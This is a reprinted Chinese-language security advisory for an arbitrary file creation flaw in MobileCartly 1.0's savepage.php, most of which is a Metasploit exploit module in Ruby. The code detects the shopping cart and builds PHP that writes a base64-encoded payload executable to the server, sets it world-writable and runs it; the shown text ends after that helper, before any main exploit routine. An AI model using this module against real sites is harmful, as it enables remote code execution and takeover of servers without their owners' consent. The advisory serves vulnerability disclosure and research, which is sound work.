MobileCartly 'savepage.php'任意文件创建漏洞

发布日期:2012-09-05
更新日期:2012-11-05

受影响系统:
mobilecartly mobilecartly
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 55399
 
MobileCartly 是一个开源的购物车应用,专注移动设备。
 
MobileCartly 1.0及之前版本存在漏洞,可允许攻击者在受影响计算机上创建任意文件。
 
<*来源:sinn3r (x90.sinner@gmail.com)
 
  链接:
       
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
 # 
 ##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
 
  def initialize(info={})
    super(update_info(info,
      'Name'          => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in MobileCartly.  The savepage.php file
        does not do any permission checks before using file_put_contents(), which
        allows any user to have direct control of that function to create files
        under the 'pages' directory by default, or anywhere else as long as the user
        has WRITE permission.
      },
      'License'        => MSF_LICENSE,
      'Author'        =>
        [
          'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
          'sinn3r' #Metasploit
        ],
      'References'    =>
        [
          ['EDB', '20422']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'      => ['linux', 'php'],
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'    => false,
      'DisclosureDate' => "Aug 10 2012",
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/'])
      ], self.class)
  end
 

def check
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")
 
    res = send_request_raw({'uri'=>"#{base}/index.php"})
    if res and res.body =~ /MobileCartly/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end
 

def get_write_exec_payload(fname, data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %Q|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("chmod 777 #{fname}");
    exec("#{fname}");
    ?>
    |
    php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
    return php
  end
 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wyjsxz.html